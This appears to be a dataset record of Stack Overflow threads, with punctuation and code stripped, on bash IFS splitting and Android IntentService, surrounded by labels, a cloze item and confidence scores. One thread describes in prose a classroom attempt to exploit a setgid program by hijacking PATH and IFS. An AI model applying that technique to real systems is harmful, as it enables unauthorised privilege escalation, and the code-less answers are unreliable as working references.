Comment : which man page did you find that quote I seem unable to find the correct manpage for this . Comment : @Sother : Manual page bash 1 line 1758 . In case of trouble do a pattern search in bash . Comment : That quote is useful and I would have emphasized results of the other expansions but there is a clear statement in the last paragraph of that section word splitting : Note that if no expansion occurs no splitting is performed .", "Question : I have two questions . 1 . I have found following code line in script : IFS IFS I would like to understand what it is exactly doing 2 . When I am trying to perform something in every place from directory like eg . : .. . .. . 1 home user bin etc something.. . .. . .. . .. . so I need to change IFS to and then proceed this in for-loop like .. . .. . while -e 1 do .. . for F in 1 .. . do something .. . done .. . shift .. . done .. . .. . .. . Is that the correct way Comment : Not exactly sure what you re trying to do in question 2 . Regarding question 1 : IFS takes off two characters from the left of IFS . Check out man bash for Parameter Expansion . You can also read Bash FAQ 73 http : mywiki.wooledge.org BashFAQ 073 . Comment : I have two questions . Then post two separate questions so we can discuss and answer them in isolation and a single answer can eventually be accepted as the solution . Thanks Comment : Remember Also if it worked out you may mark the answer as accepted by clicking on tick mark on top-left of an answer http : meta.stackexchange.com a 5235 160242 . .. . Answer : var is a shell parameter-expansion https : www.gnu.org software bash manual bashref.html Shell-Parameter-Expansion . It tries to match the beginning of var with the pattern written after . If it does it returns the variable var with that part removed . Since matches any character this means that var removes the first two chars from the var var . So with IFS IFS you are resetting IFS https : www.gnu.org software bash manual bashref.html Word-Splitting to its value after removing its two first chars . .. . .. . To loop through the words in a -delimited string you can store the splitted string into an array and then loop through it :", "Question : According to read -N description in manual page : .. . .. . -N nchars return only after reading exactly NCHARS characters unless EOF is encountered or read times out ignoring any delimiter .. . .. . However in answer to following command : .. . .. . both space and newline have been translated into empty string while in the command : .. . .. . space and newline have been stored correctly in the variable . So it seems delimiters still has some processing in read or while command that I do not understand . We could compare these results with the ones using read -n that manual described as : .. . .. . -n nchars return after reading NCHARS characters rather than waiting for a newline but honor a delimiter if fewer than NCHARS characters are read before the delimiter .. . Answer : This is POSIX http : pubs.opengroup.org onlinepubs 9699919799 utilities read.html behaviour . When assigning to a variable IFS characters should be stripped : the results shall be split into fields as in the shell for the results of parameter-expansion of course -n and -N are not POSIX . This is born-out by the read source code comments : Comment : Very interesting . Only the conversion of newline to empty string in case of while IFS read -n1 c seems difficult to match with these descriptions . I ve expected or end of loop and nothing printed or a newline assignment . In fact this case is the only one difference found between -n1 and -N1 tests . Comment : A newline is part of the default IFS setting in other words it is a delimiter . I don t see any inconsistency . Comment : yes but default IFS unset IFS is not the same than empty IFS that is the one used in this set . Moreover space is also in the default delimiter set and in this test is handled in a different way . Comment : Default IFS is not an unset IFS . The default is set to r n .", "Question : I m trying to split key-value pairs around an sign which I then use to edit a config file using bash . But I need an alternative to the syntax for IFS . The below works on my host system but when i log in to my ubuntu virtual-machine through ssh I have the wrong bash version . Whatever I try fails . I am definitely calling the right version of bash at the top of the file using bin bash and I ve tried bin sh etc too . I know I can use IFS as follows on my host mac os x system : .. . .. . But this doesn t work on my vm . I also know that I can should be able to switch the syntax through backticks or echo var .. . but I can t get it to work - as follows : .. . .. . Grateful for any pointers as I m really new to bash . Comment : What bash version does your VM have What error are you getting Comment : Syntax error : redirection unexpected 4.3.11 1 -release Comment : Related : Bash split string on delimiter assign segments to array http : stackoverflow.com questions 15777996 bash-split-string-on-delimiter-assign-segments-to-array .. . Answer : Your first failed attempt is because and are different operators . opens the named file . The second fails because read only sets the value of array in the subshell started by the pipe that shell exits after the completion of the pipe and array disappears with it . The third fails for the same reason as the second the declare that follows doesn t make any difference .", "Question : Running these commands gives expected results .. . .. . However it appears with Bash 4.2 the IFS value is being ignored .. . .. . What is causing this difference I found the answer here .. . .. . http : lists.gnu.org archive html bug-bash 2014-03 msg00065.html .. . .. . It looks as though this has been an error all along . According to Chet redirections should never have had access to the temp environment IFS in this case Comment : @fedorqui spooky I m on GNU bash version 4.2.45 2 -release x86 64-slackware-linux-gnu and can reproduce the OP s behaviour Comment : Reproduced with GNU bash version 4.3.11 1 -release x86 64-pc-linux-gnu . Output is 111 222 333 Comment : For those interested this is the changelog of bash 4.2 : github.com sunny256 bash blob master CWRU changelog https : github.com sunny256 bash blob master CWRU changelog Somewhere there must be some explanations as it is from 4.1 to 4.2 when this changes . Comment : This may also be loosely related to stackoverflow.com q 20144593 1126841 http : stackoverflow.com q 20144593 1126841 in that proper support of here strings and IFS seems to be an ongoing process . .. . Answer : I find the behaviour of 4.2 correct as word splitting should happen first before evaluation of assignments : .. . .. . I believe the new value of IFS should only affect cat and not foo . The proper way to do that is .. . .. . And for a conservative approach we can use a function : .. . .. . I also have a guess that it s related to this : .. . .. . Update .. . .. . Another confusing behavior can be found in 4.2 which is already fixed in 4.3 . By doing IFS cat foo foo expands well as 111 222 333 not affected by IFS as shown by cat which is 111 222 333 . However when we do IFS read bar foo echo bar the output would be 111 222 333 and would appear as-if foo expanded as 111 222 333 . This inconsistent behavior is no longer happening in Bash 4.3 and Bash 4.3 s behavior is probably a fix . Comment : +1 cat doesn t use IFS things like IFS read a b c work because read is a bash builtin not an external program .", "Question : Being new to shell scripting I am not clear about the Quoting and splitting concepts in bash . In the below snippet : .. . .. . with IFS being : - I thought the result would be : .. . .. . as I had quoted them france-country . I think it should not get split on - . But the results were : .. . .. . It would be great if someone can point me out my mistake in understanding . Comment : Why are you having - in IFS if you dont want to split on hyphen . Just remove it .. . Answer : This script shows how to split a colon-separated string into a Bash array . output .. . .. . Note that in .. . .. . we don t put quotes around words as that would prevent word splitting . We don t actually need the quotes in .. . .. . but quotes either single or double would be needed if there were any spaces in that string . Similarly the quotes are superfluous in numwords array1 @ and many Bash programmers would omit them because we know the result-of array1 @ will never have spaces in it . It s a Good Idea to always use quotes in Bash unless you re sure you don t want them eg in the case of array1 words above or when performing tests with the .. . syntax . I suggest you bookmark BashGuide http : mywiki.wooledge.org BashGuide and browse through their FAQ . But the only way to really learn the arcane ways of quoting and splitting in Bash is to to write lots of scripts . : .. . .. . You may also find ShellCheck http : www.shellcheck.net helpful .", "Question : For educational reasons I have to exploit an C-Code .. . .. . The Programm set the egid first and then the vulnerability with the system usr bin .. . Command . So I made an usr executeable in my Home-Directory and set the Path to the Home PATH HOME : PATH .. . .. . And I want to change the IFS Variable in the bash to : export IFS .. . .. . Unfortunatelly when i call the C-Programm : my exploit doesn t work .. . .. . Is anybody able to tell me what is wrong Comment : Welcome to Stack Overflow . This is one of those situations where you should show what you ve tried as an SSCCE a Short Self-Contained Correct Compiling Example http : sscce.org both to demonstrate that you ve put some effort into the question and to allow us to see what you re doing . Please read the FAQ http : stackoverflow.com tour soon . .. . Answer : Add the IFS as part of your program s call to system . System executes the code with usr bin sh -c . So you can do similar to what you d in the shell prompt . Note that once the child-process is terminated the IFS set will no longer be available in the parent . Comment : I cant change the String in the System Command . I have to exploit it . So i want the given system usr bin .. . redirect to my usr executable . Similar it work with relative paths in system . myProg . i tought with changing the IFS Variable i can do this in this case too Am I Wrong Comment : Can you post a complete code Am not sure what exactly you want you achieve", "Question : In Shell script I want to achieve something like below : .. . .. . I want to split it and concatenate each item as below and assign to some variable .. . .. . so that I can use above concatenated string in my next command as below .. . .. . I found a way using local IFS and for-loop but the variable updated inside loop is not retaining value outside of loop because it runs in a separate bash . .. . Answer : Comment : I believe this is the best and simplest way to go about it", "Question : I m learning bash and I saw this construction : .. . .. . Can anyone explain what IFS do I know it s input field sepereter but it s being set to nothing Comment : possible duplicate of Is there any difference in bash between while read -r line do .. . done file and cat file while IFS read -r line do .. . done http : stackoverflow.com questions 26471631 is-there-any-difference-in-bash-between-while-read-r-line-do-done-file Comment : @AvinashRaj I asked that question yesterday about difference between two loops . This is a different question and I m asking only about what IFS means . Comment : IFS basically sets IFS to null . In your case it will act same as IFS n Comment : It s a simple question You could ask this to the previous question answerer @Chepner . Comment : @anubhava Thanks . So if IFS is null then it s the same as newline .. . Answer : IFS does many things but you are asking about that particular loop . The effect in that loop is to preserve leading and trailing white space in line . To illustrate first observe with IFS set to nothing : .. . .. . The line variable contains all the white space it received on its stdin . Now consider the same statement with the default IFS : .. . .. . In this version the white space internal to the line is still preserved . But the leading and trailing white space have been removed . What does -r do in read -r The -r option prevents read from treating backslash as a special character . To illustrate we use two echo commands that supply two lines to the while-loop . Observe what happens with -r : .. . .. . Now observe what happens without -r : .. . .. . Without -r two changes happened . First the double-backslash was converted to a single backslash . Second the backslash on the end of the first line was interpreted as a line-continuation character and the two lines were merged into one . In sum if you want backslashes in the input to have special meaning don t use -r . If you want backslashes in the input to be taken as plain characters then use -r . Multiple lines of input .. . .. . Since read takes input one line at a time IFS behaves affects each line of multiple line input in the same way that it affects single line input . -r behaves similarly with the exception that without -r multiple lines can be combined into one line using the trailing backslash as shown above . The behavior with multiple line input however can be changed drastically using read s -d flag . -d changes the delimiter character that read uses to mark the end of an input line . For example we can terminate lines with a tab character : .. . .. . Here the .. . construct was used to enter special-characters like newline n and tab t . Observe that with -d t read divides its input into lines based on tab characters . Anything after the final tab is ignored . How to handle the most difficult file names .. . .. . The most important use of the features described above is to process difficult file names . Since the one character that cannot appear in path filenames is the null character the null character can be used to separate a list of file names . As an example : Comment : +1 nice explanation . What s the meaning of -r Comment : @AvinashRaj Thanks . For -r see updated answer . Comment : Excellent explanation . A follow up question - what happens if there are multiple lines in input how does -r and IFS affect multiple line inputs Comment : @bodacydo See updated answer . Comment : @John1024 Best answer ever", "Question : null .. . Answer : I want to store each single complete multiline result-of a pcregrep into a variable for each iteration of a for-loop . Ex : .. . .. . However I m not sure what IFS I should use which would properly recognize each separate pcregrep result so I can store it into the variable one result per iteration . I m also open to hear other round-about means of accomplishing the goal even if it doesn t involve IFS .. . .. . Here are some sample results that I d be working with : .. . .. . Result 1 : .. . .. . Result 2 : .. . .. . Thanks in advance Comment : You will be better served storing the results in an array or temp file . Bash input is line-oriented . IFS is the Internal Field Separator it controls word-splitting it has no effect on multi-line control . Comment : I m not sure this is possible . As far as I can tell there s no special delimiter between results . The results are simply mixed together . Comment : What separates each multiline result from pcregrep in the output" ] }
[ "yes-answer-long", "yes-answer-short" ]
posix
UNK_RELATION
intentservice@implementation@45
intentservice -- intentservice is a special @placeholder of android-service component .
{ "confidence": [ 45.021141052246094, 44.11767578125, 43.89202117919922, 43.01642608642578, 42.129791259765625, 41.596343994140625, 41.39521026611328, 41.39521026611328, 40.65425491333008, 40.5048942565918, 39.78099060058594, 39.77286148071289, 39.762657165527344, 39.5251350402832, 39.08481216430664, 39.08481216430664, 39.08481216430664, 38.86091995239258, 38.54574966430664, 38.142723083496094, 38.142723083496094, 38.00674057006836, 37.75208282470703, 37.75208282470703, 37.641239166259766, 37.43339920043945, 37.35240936279297, 37.10288619995117, 37.016029357910156, 37.01360321044922, 37.01360321044922, 37.01360321044922, 37.01360321044922, 36.634666442871094, 36.60857009887695, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.55442428588867, 36.51211929321289, 36.51211929321289, 36.4830322265625, 36.4830322265625, 36.47454071044922, 36.47454071044922, 36.26061248779297, 36.22296142578125, 36.13507080078125, 35.682804107666016, 35.63859558105469, 35.612335205078125, 35.612335205078125, 35.612335205078125, 35.612335205078125, 35.595947265625, 35.37373352050781, 35.37254333496094, 35.303348541259766, 35.234134674072266, 35.062950134277344, 35.062950134277344, 35.062950134277344, 35.062950134277344, 35.062950134277344, 35.062950134277344, 35.062950134277344, 35.062950134277344, 34.74071502685547, 34.74071502685547, 34.74071502685547, 34.74071502685547, 34.74071502685547, 34.49491882324219, 34.49491882324219, 34.48321533203125, 34.48321533203125, 34.48321533203125, 34.48321533203125, 34.47996520996094, 34.47996520996094, 34.47996520996094, 34.47996520996094, 34.47996520996094, 34.29610061645508, 34.257545471191406, 34.257545471191406, 34.257545471191406, 34.257545471191406, 34.17488479614258, 34.17488479614258, 34.17488479614258, 34.17488479614258, 34.1208610534668, 34.1208610534668 ], "content": [ "Service or IntentService", "To know the difference between IntentService and Service in Android I created the below posted small test of an IntentService class .", "Service or IntentService", "You should use Service not IntentService .", "Below are some key differences between Service and IntentService in Android .", "Rewrite the IntentService as a regular Service instead .", "intentservice it the base-class of a service .", "are you extending Service or IntentService", "the example you linked is of a Service not an IntentService", "Do i need to extend Service instead of IntentService", "IntentService Service is a base-class for IntentService Services that handle asynchronous requests expressed as Intents on demand .", "I have an IntentService .", "Use a handler and send a message to parent activity from the intentservice .. . .. . Parent Activity : .. . .. . Declaring Handler .. . .. . Invoking the intentservice : .. . .. . Inside IntentService :", "Hence the selection of IntentService over Service .", "I have tried to stop the IntentService but Service is not stopping .", "This is not something you can should do with a Service or IntentService .", "Why dont u use Service instead of IntentService", "I m using an IntentService to run a background service for my app on android .", "Activity : .. . .. . IntentService", "This is a good example of a Service but not an IntentService as the question asked .", "Step 1 : Switch from IntentService to Service .", "IntentService .. . .. . IntentService runs on its own thread .", "Code for my IntentService : .. . .. .", "And IntentService working on a background-thread", "IntentService Service is a base-class for IntentService Services that handle asynchronous requests expressed as Intents on demand .", "I m developing android application in which I ve used Android IntentService .", "eg : .. . .. . To create an IntentService component for your app define a class that extends IntentService and within it define a method that overrides onHandleIntent .", "I have an IntentService which queues up web service calls to be made .", "But i just wanted to ensure that whether is this allowed in Android Binding to an IntentService", "Below are some key differences between Service and IntentService .", "IntentService is a subclass of Service written in Java code .", "not when specifically use service and when intentservice .", "You need a normal service this is not what an IntentService is for .", "I used Android Service and I know how it works but I do not know the difference between it and IntentService .", "If you are expecting the service to run for longer use Service not IntentService .", "Don t use an IntentService .", "if don t run IntentService .", "IntentService - It has a separate thread .", "Can I implement an IntentService", "Here is my intentservice code :", "IntentService is not designed for this scenario .", "For now I m using an IntentService for that .", "And that s not an issue with the IntentService .", "Hence anything an IntentService does a Service could do by including the relevant bits of code that IntentService uses .", "Service is also good similar to the IntentService Method but IntentService works a little better in this instance .", "I was able to bind an activity with the IntentService .", "Then you let the IntentService stop itself .", "IntentService .. . 3 .", "AsyncTask and IntentService .", "Which starts some other IntentService .", "Thats why I tried IntentService for running service in separate thread but I am in doubt.. . if IntentService can run for indefinite time similar to Service .. . and Also IntentService blocks AsyncTask few times .", "It is especially a bad idea inside an IntentService because the IntentService is supposed to finish a task and then get terminated automatically you are in essence defeating the whole purpose of using an IntentService .", "Maybe I should change my IntentService with onHandleIntent to a plain old Service", "But I started IntentService from activity and inside IntentService I want to use the permission but it gives message that service requires INJECT EVENTS permission .", "Because IntentService requires it .", "IntentService is not base-class of Services .", "no its only the intentservice .", "And how you are calling IntentService", "It seems that the actual intent Que for and IntentService is not available to the android developer .", "here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : stackoverflow.com questions 7173306 manually-ending-the-intentservice-worker-thread here http : stackoverflow.com questions 8709989 how-to-stop-intentservice-in-android here http : stackoverflow.com questions 7146624 stopping-an-intentservice but no good answers .", "I mean since IntentService stops after the job is done would that IntentService with BroadcastReciever work until MainActivity onStart", "I d like to create a situation where if an Intent to perform a particular web service is passed to the IntentService and an Intent for that same web service already exists in the IntentService queue the Intent is not processed .", "@CommonsWare you are right verified developer.android.com reference android app http : developer.android.com reference android app IntentService.html IntentService java.lang.String", "Is RxAndroid could replace the role of IntentService", "But I understand that IntentService stops itself .", "I use IntentService for http-request .", "if I use IntentService - ChangeListener broken", "The IntentService runs on a second looper thread .", "An IntentService is meant to finish of a task and return .", "Do not use while-loop in IntentService .", "I am using BackgroundThread in IntentService .", "Hi all can i write an IntentService within a Service", "Thus IntentService which is a direct subclass of Service is available to make things easier .", "Below are some key differences between Service and IntentService and other components .", "Then from that Service when location update is there received fire it towards IntentService and handle there .", "So in your case I strongly recommend you to replace IntentService by Service .", "I am new to Android development and I try to get some practice with service and intentservice .", "Straight forward question : .. . .. . Is an IntentService declared in the Android Manifest as a regular service or is there another way", "The IntentService does the following : .. . .. . 1 .", "IntentService is hard single task .", "IntentService is just a thread .", "Move the code into the IntentService .", "How I can keep the task of the intentService running", "Do you mean that bindService can t be done with IntentService", "An IntentService to be notified when a GCM event is received .", "I m using an IntentService to upload images to a server .", "Hence you do not manually stop an IntentService yourself .", "Yeah I would avoid doing the multiple IntentService method But.. . you can use the IntentService which passes it off to another thread the IntentService will then move on once you pass it of the IntentService thread .", "The class that has this code extends IntentService will this be a problem", ".. . .. . UPDATE : I put this code in the class that extends IntentService .", "If it wouldn t could I start a new IntentService with a BroadcastReciever", "using database or something to save IntentService queue", "In another answer by you http : stackoverflow.com questions 10250745 proper-way-to-stop-intentservice there s no need to stop an IntentService .", "I would recommend to remove the loop in the IntentService and to use an alarm to wake up the IntentService every 30 seconds .", "possible duplicate of create toast from IntentService http : stackoverflow.com questions 3955410 create-toast-from-intentservice", "Yet waiting for a callback from an http call inside an IntentService is not what IntentService is designed for .", "IntentService implements onBind that returns null .", "This means that the IntentService can not be bound by default ." ] }
{ "confidence": [ 53.65473175048828, 51.75376892089844, 51.61713790893555, 50.82982635498047, 50.3923454284668, 50.029319763183594, 49.9588508605957, 49.18739700317383, 48.66727828979492, 48.596378326416016, 48.41843032836914, 48.41045379638672, 48.34495544433594, 48.20071029663086, 48.072532653808594, 47.947998046875, 47.90885543823242, 47.81116485595703, 47.74043273925781, 47.643768310546875 ], "content": [ "Question : To know the difference between IntentService and Service in Android I created the below posted small test of an IntentService class . The IntentService class can be started using startService intent which will result in a call to nStartCommand Intent intent int flags int startId . Also to send values from the IntentService class to the MainActivity for an example we should send it via sendBroadcast intent and the MainActivity should register a broadcastReceiver for that action so it can receive the values sent via .. . .. . so far I cant see any difference between Service and IntentService Since they are similar in the way of starting them and the way they broadcast data can you please tell me in which context they differ please tell me why i am receiving those errors and how to solve it .. . .. . MainActivity .. . .. . MyIntentService : Comment : Main difference that Service is working on the same thread where it was called . And IntentService working on a background-thread .. . Answer : In short a Service is a broader implementation for the developer to set up background operations while an IntentService is useful for fire and forget operations taking care of background Thread creation and cleanup . From the docs : .. . .. . Service A Service is an application component representing either an application s desire to perform a longer-running operation while not interacting with the user or to supply functionality for other applications to use . IntentService Service is a base-class for IntentService Services that handle asynchronous requests expressed as Intents on demand . Clients send requests through startService Intent calls the service is started as needed handles each Intent in turn using a worker thread and stops itself when it runs out of work . Refer this doc - http : developer.android.com reference android app IntentService.html", "Question : Can someone please show me an example of something that can be done with an IntentService that cannot be done with a Service and vice-versa I also believe that an IntentService runs in a different thread and a Service does not . So as far as I can see starting a service within its own thread is like starting an IntentService . Is it not I would appreciate if someone can help me with both of my questions . Comment : IntentService is used for short tasks etc and a service is for long ones where did you read that Comment : aLso I suggest you read the source code for IntentService . It makes it quite clear what it is and what it does . Comment : I edited my question after I saw you comment . Comment : Code for IntentService : android.googlesource.com platform frameworks base + refs heads https : android.googlesource.com platform frameworks base + refs heads master core java android app IntentService.java Comment : Link in previous comment by greg7gkb is a great read . .. . Answer : Adding points to accepted answer : .. . .. . See the usage of IntentService with in Android API . eg : .. . .. . To create an IntentService component for your app define a class that extends IntentService and within it define a method that overrides onHandleIntent . Also see the source code of the IntentService it s consutructor and life cycle methods like onStartCommand. . .. . .. . Service together a AsyncTask is one of best approaches for many usecases where payload is not huge . or just create a class extending IntentSerivce . From Android version 4.0 all network operations should be in background-process otherwise the application compile build fails . separate thread from the UI . The AsyncTask class provides one of the simplest ways to fire off a new task from the UI thread . For more discussion of this topic see the blog post .. . .. . from Android developers guide http : developer.android.com reference android app IntentService.html : .. . .. . IntentService is a base-class for Services that handle asynchronous requests expressed as Intents on demand . Clients send requests through startService Intent calls the service is started as needed handles each Intent in turn using a worker thread and stops itself when it runs out of work . Design pattern used in IntentService .. . .. . : This work queue processor pattern is commonly used to offload tasks from an application s main thread . The IntentService class exists to simplify this pattern and take care of the mechanics . To use it extend IntentService and implement onHandleIntent Intent . IntentService will receive the Intents launch a worker thread and stop the service as appropriate . All requests are handled on a single worker thread -- they may take as long as necessary and will not block the application s main loop but only one request will be processed at a time . The IntentService class provides a straightforward structure for running an operation on a single background-thread . This allows it to handle long-running operations without affecting your user-interface s responsiveness . Also an IntentService isn t affected by most user-interface lifecycle events so it continues to run in circumstances that would shut down an AsyncTask . An IntentService has a few limitations : .. . .. . It can t interact directly with your user-interface . To put its results in the UI you have to send them to an Activity . Work requests run sequentially . If an operation is running in an IntentService and you send it another request the request waits until the first operation is finished . An operation running on an IntentService can t be interrupted . However in most cases .. . .. . IntentService is the preferred way to simple background operations .. . .. . .. . .. . Volley Library .. . .. . There is library called volley-library for developing android-networking applications http : java.dzone.com articles android- E2 80 93-volley-library Source code is available for public in github . The android official documentation for Best practices for Background jobs http : developer.android.com training best-background.html : helps better understand on intent service thread handler service . and also Performing Network Operations http : developer.android.com training basics network-ops index.html", "Question : Can you please help me understand what the difference between an IntentService and a Service is Comment : techtej.blogspot.com.es 2011 03 http : techtej.blogspot.com.es 2011 03 android-thread-constructspart-4.html Comment : Really good comparison here : stackoverflow.com questions 15524280 service-vs-intent-service http : stackoverflow.com questions 15524280 service-vs-intent-service Comment : Please go to the above links they are really TOO GOOD. . very big thanks for them.. . .. . Answer : In short a Service is a broader implementation for the developer to set up background operations while an IntentService is useful for fire and forget operations taking care of background Thread creation and cleanup . From the docs : .. . .. . Service A Service is an application component representing either an application s desire to perform a longer-running operation while not interacting with the user or to supply functionality for other applications to use . IntentService Service is a base-class for IntentService Services that handle asynchronous requests expressed as Intents on demand . Clients send requests through startService Intent calls the service is started as needed handles each Intent in turn using a worker thread and stops itself when it runs out of work . Refer this doc - http : developer.android.com reference android app IntentService.html Comment : IntentService is not base-class of Services . Reverse of it is true . Check - developer.android.com reference android app IntentService.html http : developer.android.com reference android app IntentService.html Comment : @Darpan It is a base-class for Services that handle asynchronous requests not for simply Services . That s why the sentence above is correct . Comment : Hi all can i write an IntentService within a Service If yes can anyone please provide an example code snippet . Thanks Comment : @Phix i am making an app in which i need to scan the local database in every half an hour which would be better IntentService or Service", "Question : Is there any difference between AsyncSync being fired up from Activity or IntentService I m building an app which downloads and uploads files via http . I use custom notification layout with progress-bar for each transfer . I choose between doing transfers in parallel or putting them into queue which option would you recommend . For the option with queue I use an IntentService so Android framework takes care of putting tasks into a queue for me . For having them in parallel I use AsyncTasks . But I fire them up from IntentService could be Service as well - is there any point doing so IntentService is terminated right after it executes AsyncTask so the AsyncTask runs without any parent . What if I fired up those AsyncTask from Activity go to the homescreen and system decided to close this Activity Can it do that Will the AsyncTask survive it What would be the preferred approach for this case .. . Answer : AsyncTask isn t really appropriate for things where you re concerned about surviving outside the lifecycle of a component if you need to message back to that component . If you re going to the extent of having a service I wouldn t even bother with AsyncTasks . As far as parallel or queue that really depends on a lot of different variables but I certainly wouldn t make it completely parallel-for any number of downloads uploads . I d set some limit on the max number of concurrent transfers . There s no point in using IntentService for parallel exeuction--you ve noted the problem with that already . You re getting into territory which is not really covered by the Android API . AsyncTask and IntentService are nice abstractions that make several scenarios easy but parallel execution of many many tasks is not one of them . It s probably best to use some of the Java threading concurrency classes . Take a look at ThreadPoolExecutor http : download.oracle.com javase 1 5.0 docs api java util concurrent ThreadPoolExecutor.html . Comment : Thanks for the response . I went with the IntentService option and transfers being queued . This seems to be better idea in the mobile environment where connection isn t so stable all the time than uploading downloading multiple-files in in parallel .", "Question : I have an intentservice that gets qued by the user and by my app automatically . I need to be able to kill all pending intents that are qued when the user logs out of my application but I cannot seem to get that to work . I have tried stopService and stopself but the intents continue to fire off the intentservice after the user has logged out . I would try to get the id of the intent but that is difficult as everytime the intentservice starts the variable holding the intent id s is empty . Here is my intentservice code : Comment : It seems that the actual intent Que for and IntentService is not available to the android developer . .. . Answer : Unfortunately I don t think it s possible to accomplish that with the standard IntentService methods since it doesn t offer a way to interrupt it while it s already going . There are a few options I can think of that you can try to see if they fit your need . 1 . Copy the IntentService code to make your own modifications to it that would allow you to remove pending messages . Looks like someone had some success with that here : Android : intentservice how abort or skip a task in the handleintent queue http : stackoverflow.com questions 7318666 android-intentservice-how-abort-or-skip-a-task-in-the-handleintent-queue .. . 2 . Instead of copying all the IntentService code you might also be able to Bind to it like a normal Service since IntentService extends Service so you can write your own function to remove pending messages . This one is also mentioned in that link . 3 . Rewrite the IntentService as a regular Service instead . With this option you d have more control over adding and removing messages . I had what sounds like a similar situation where I was using an IntentService and I eventually just converted it to a Service instead . That let me run the tasks concurrently and also cancel them when I needed to clear them . Comment : I am going to mark this as fixed because this is the best answer that I can think even though we decided to go with a different approach that is much easier . Thanks", "Question : I m using an IntentService to upload images to a server . My problem is that I don t know how when to stop the service . When I call stopself in onHandleIntent Intent . . all Intents which are waiting in the IntentService queue are removed . But I don t want to stop the service from an activity because I want to complete upload proccess even if my application is not running . .. . Answer : My problem is that I don t know how when to stop the service . IntentService automatically stops itself when onHandleIntent ends if no more commands had been sent to it while onHandleIntent was running . Hence you do not manually stop an IntentService yourself . When I call stopself in onHandleIntent Intent . . all Intents which are waiting in the IntentService queue are removed . Which is why you do not do that . But I don t want to stop the service from an activity because I want to complete upload proccess even if my application is not running . Then you let the IntentService stop itself . Comment : Thank you I wasn t aware of the fact that IntentService stops itself when it s done . : Comment : One more jagged corner in the Android SDK.. . sigh .", "Question : I have an IntentService that starts an asynchronous task in another class and should then be waiting for the result . The problem is that the IntentService will finish as soon as the onHandleIntent .. . method has finished running right That means normally the IntentService will immediately shut down after starting the asynchronous task and will not be there anymore to receive the results . How can I make the snippet above work I ve already tried putting Thread.sleep 15000 arbitrary duration in onHandleIntent .. . after starting the task . Itseems to work . But it definitely doesn t seem to be clean solution . Maybe there are even some serious problems with that . Any better solution Comment : What is stopping you from making a synchronous version of the same thing Comment : you can use bindservice for it . developer.android.com guide components bound-services.html http : developer.android.com guide components bound-services.html this will help me a lot . Comment : @ianhanniballake : MyOtherClass is actually part of a third-party component that I rather don t like to change . The method in that class always delivers its results via callbacks not synchronously . Comment : @mcd : Bound services are only for the use-case where the Service reports back to another application component usually an Activity aren t they Comment : yup but you can user service class instead sorry for not read your question properly .. . Answer : Use the standard Service class instead of IntentService start your asynchronous task from the onStartCommand callback and destroy the Service when you receive the completion callback . The issue with that would be to correctly handle the destruction of the Service in the case of concurrently running tasks as a result-of the Service being started again while it was already running . If you need to handle this case then you might need to set up a running counter or a set of callbacks and destroy the Service only when they are all completed . Comment : Agreed . IntentService is not designed for this scenario . Comment : @CommonsWare why does the google sample project https : github.com googlesamples google-services blob master android gcm app src main java gcm play android samples com gcmquickstart RegistrationIntentService.java for GCM set up an http call in an IntentService sendRegistrationToServer method . Surely 99.9 of people will want to wait for the response from their server when sending the gcm token right Yet waiting for a callback from an http call inside an IntentService is not what IntentService is designed for . Comment : @AdamJohns : Yet waiting for a callback from an http call inside an IntentService is not what IntentService is designed for -- I don t know what you mean by callback in this case . Doing HTTP I O is a perfectly reasonable thing for an IntentService to do so long as it does so synchronously . If you have additional concerns in this area I suggest that you ask a separate Stack Overflow question . Comment : @CommonsWare when I say callback I mean I want to send an http-request to my server with the gcm token and the callback would be getting the response back from the server . See my question here : stackoverflow.com q 36501842 1438339 http : stackoverflow.com q 36501842 1438339", "Question : Based on my understanding an IntentService will get stopped when its current request is done . Consider the below scenario i will be triggering a request to the IntentSerivce for every 100ms and the processing time will be 90 ms for that request . So for every my request - startSerivce call service will get invoked and after 90ms once the processing is done onDestroy of the IntentServicee will get invoked . I would like to have this IntentServicee running till i say stop . Is that possible assume that i am going to do the below in my service .. . .. . 1 . Do configure it .. . 2 . Send some request .. . 3 . wait for response .. . 4 . read the response .. . 5 . Broadcast to activity that invoked .. . .. . Steps 1 is common for all my requests so i thought i can do them when service is started initially once and then do 3-6 in HandleIntent based on the requests . .. . Answer : You need to create a Service and bind to your service for preventing it to stop . See the docs http : developer.android.com reference android app Service.html . The service that will be started with bindService will run until no Activity is still bound to it . Comment : Do you mean that bindService can t be done with IntentService Do i need to extend Service instead of IntentService Comment : I m not sure about the IntentService. . but I think it can work too . I ve never tried this though . Comment : oh thanks for your comments . I will check it out Comment : I was able to bind an activity with the IntentService . It seems to be working fine . OnDestroy of the IntentService is getting called when i say unbind . But i just wanted to ensure that whether is this allowed in Android Binding to an IntentService Do you have any information related to this I would really appreciate your inputs .", "Question : IntentService has its own thread starting another thread from handleIntent the service considered live or completed service and doesn t matter another thread is active or nor and as soon as the IntentService completed its job is it possible to return to main thread and call another thread but the start of the another thread could be from main thread not from activity as the service could complete its job during any active activity . .. . Answer : IntentService has its own thread starting another thread from handleIntent .. . .. . Don t ever do that . Once the IntentService s onHandleIntent method returns the service is destroyed and the process is likely to be killed as well . Android has no idea what threads you ve started so for all it knows your process is idle and wasting resources . If you need to start something else when the IntentService is done use startActivity startService or sendBroadcast whichever is appropriate . Again Android doesn t know about your threads . If you need procedure call semantics e.g start service have it perform some task then return control to the caller IntentService isn t the right tool . Use a bound service or bound AIDL service if you need to cross process boundaries . Comment : Thanks I got the first part as soon as the IntentService complete it s job receiving appropriate data I need to start another thread the point is the the second thread I need to start from main thread but I don t want that the receiver for the completion of IntentService be the activity as the completion of IntentService could be during any active activity I want smth global place that can handle IntentService completion where I could start another thread . Comment : Don t do that . You should never create threads from an IntentService . I can t really help here since you are just making statements like the second thread I need to start from main thread with no explanation why . Comment : Ok the point is that I use library which implements downloading mechanism but before starting the second I need to fetch resources and as soon I receive result start 2 n thread which handles downloading mechanism and take into account that the first thread should continue it s job even I leave the activity . that is why I wanted to use IntentService any advise could be helpful thanks Comment : That doesn t explain why you need to run whatever that is from the main thread . Comment : I use Glide and use Glide for only caching images not displaying the issue is that it s only let to call from main thread .", "Question : I have an IntentService that is started from an Activity and I would like to be able to stop the service immediately from the activity with a cancel-button in the activity . As soon as that cancel-button is pressed I want the service to stop executing lines-of-code . I ve found a number of questions similar to this i.e . here http : stackoverflow.com questions 5503244 how-to-stop-an-intentservice here http : 